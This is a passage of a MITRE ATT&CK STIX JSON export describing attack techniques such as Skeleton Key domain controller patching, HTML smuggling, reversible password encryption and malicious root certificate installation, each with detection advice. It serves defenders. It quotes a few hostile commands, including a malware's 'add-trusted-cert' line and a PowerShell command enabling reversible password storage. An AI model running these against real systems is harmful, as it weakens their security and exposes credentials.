Execution"],"x_mitre_impact_type":["Availability"],"x_mitre_permissions_required":["User","Administrator","root","SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","type":"attack-pattern","created":"2020-03-14T23:39:50.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1132.002","url":"https://attack.mitre.org/techniques/T1132/002"},{"url":"https://en.wikipedia.org/wiki/Binary-to-text_encoding","description":"Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.","source_name":"Wikipedia Binary-to-text Encoding"},{"url":"https://en.wikipedia.org/wiki/Character_encoding","description":"Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.","source_name":"Wikipedia Character Encoding"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-14T23:39:50.117Z","name":"Non-Standard Encoding","description":"Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605","type":"attack-pattern","created":"2020-02-11T19:05:02.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1556.001","url":"https://attack.mitre.org/techniques/T1556/001"},{"source_name":"Dell Skeleton","description":"Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.","url":"https://www.secureworks.com/research/skeleton-key-malware-analysis"},{"url":"https://technet.microsoft.com/en-us/library/dn487457.aspx","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.","source_name":"TechNet Audit Policy"}],"modified":"2021-04-20T20:10:26.613Z","name":"Domain Controller Authentication","description":"Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Access","Logon Session: Logon Session Creation","Process: OS API Execution","File: File Modification"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian","Darin Smith, Cisco"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","created":"2019-08-30T13:03:04.038Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1537","url":"https://attack.mitre.org/techniques/T1537"},{"source_name":"AWS EBS Snapshot Sharing","url":"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html","description":"Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022."},{"source_name":"Azure Shared Access Signature","url":"https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature","description":"Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022."},{"source_name":"Azure Blob Snapshots","url":"https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview","description":"Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022."},{"source_name":"DOJ GRU Indictment Jul 2018","url":"https://www.justice.gov/file/1080281/download","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ","modified":"2022-04-19T16:11:19.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Transfer Data to Cloud Account","x_mitre_detection":"Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. \n\nIn AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a \"Get Snapshot SAS URL\" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Snapshot: Snapshot Creation","Cloud Storage: Cloud Storage Metadata","Cloud Storage: Cloud Storage Modification","Snapshot: Snapshot Modification","Cloud Storage: Cloud Storage Creation","Snapshot: Snapshot Metadata"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stan Hegt, Outflank","Jonathan Boucher, @crash_wave, Bank of Canada"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb","type":"attack-pattern","created":"2021-05-20T12:20:42.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1027.006","url":"https://attack.mitre.org/techniques/T1027/006"},{"source_name":"HTML Smuggling Menlo Security 2020","url":"https://www.menlosecurity.com/blog/new-attack-alert-duri","description":"Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021."},{"source_name":"Outlflank HTML Smuggling 2018","url":"https://outflank.nl/blog/2018/08/14/html-smuggling-explained/","description":"Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021."},{"source_name":"MSTIC NOBELIUM May 2021","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021."},{"source_name":"nccgroup Smuggling HTA 2017","url":"https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/","description":"Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved May 20, 2021."}],"modified":"2021-10-18T12:03:12.510Z","name":"HTML Smuggling","description":"Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as <code>Blob</code>, <code>msSaveOrOpenBlob</code>, and/or <code>download</code> may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\n\nConsider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation"],"x_mitre_defense_bypassed":["Web content filters","Anti-virus","Static file analysis"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48","type":"attack-pattern","created":"2022-01-13T20:02:28.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1556.005","url":"https://attack.mitre.org/techniques/T1556/005"},{"source_name":"store_pwd_rev_enc","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption","description":"Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022."},{"source_name":"how_pwd_rev_enc_1","url":"http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html","description":"Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021."},{"source_name":"how_pwd_rev_enc_2","url":"http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html","description":"Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021."},{"source_name":"dump_pwd_dcsync","url":"https://adsecurity.org/?p=2053","description":"Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021."}],"modified":"2022-02-10T21:35:25.377Z","name":"Reversible Encryption","description":"An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>\n2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>\n3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor property changes in Group Policy: <code>Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption</code>. By default, the property should be set to Disabled.\n\nMonitor command-line usage for <code>-AllowReversiblePasswordEncryption $true</code> or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as <code>Set-ADUser</code> and <code>Set-ADAccountControl</code>, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Itzik Kotler, SafeBreach","Travis Smith, Tripwire","Red Canary","Matt Graeber, @mattifestation, SpecterOps"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1","type":"attack-pattern","created":"2017-05-31T21:31:42.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1130","url":"https://attack.mitre.org/techniques/T1130"},{"external_id":"CAPEC-479","source_name":"capec","url":"https://capec.mitre.org/data/definitions/479.html"},{"url":"https://en.wikipedia.org/wiki/Root_certificate","description":"Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.","source_name":"Wikipedia Root Certificate"},{"url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf","description":"Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.","source_name":"Operation Emmental"},{"url":"https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/","description":"Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.","source_name":"Kaspersky Superfish"},{"source_name":"SpectorOps Code Signing Dec 2017","description":"Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.","url":"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"},{"source_name":"objective-see ay mami 2018","description":"Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.","url":"https://objective-see.com/blog/blog_0x26.html"},{"source_name":"Microsoft Sigcheck May 2017","description":"Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.","url":"https://docs.microsoft.com/sysinternals/downloads/sigcheck"},{"url":"https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/","description":"Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.","source_name":"Tripwire AppUNBlocker"}],"modified":"2020-02-21T21:11:06.761Z","name":"Install Root Certificate","description":"Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under <code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code> and <code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Digital Certificate Validation"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638","type":"attack-pattern","created":"2017-05-31T21:30:30.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1022","url":"https://attack.mitre.org/techniques/T1022"},{"url":"http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf","description":"Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015.","source_name":"Zhang 2013"},{"url":"https://en.wikipedia.org/wiki/List_of_file_signatures","description":"Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.","source_name":"Wikipedia File Header Signatures"}],"modified":"2020-03-30T03:10:12.750Z","name":"Data Encrypted","description":"Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Walker Johnson"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","created":"2020-01-31T12:35:36.479Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1070.004","url":"https://attack.mitre.org/techniques/T1070/004"},{"source_name":"Microsoft SDelete July 2016","url":"https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete","description":"Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include <code>del</code> on Windows and <code>rm</code> or <code>unlink</code> on Linux and macOS.","modified":"2022-04-16T18:25:43.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"File Deletion","x_mitre_detection":"It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","File: File Deletion"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Linux","macOS","SaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)","Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1189","url":"https://attack.mitre.org/techniques/T1189"},{"url":"http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/","description":"Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises – Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.","source_name":"Shadowserver Strategic Web Compromise"},{"source_name":"Volexity OceanLotus Nov 2017","description":"Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.","url":"https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"}],"modified":"2022-03-08T21:11:47.798Z","name":"Drive-by Compromise","description":"Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n    * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n    * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to 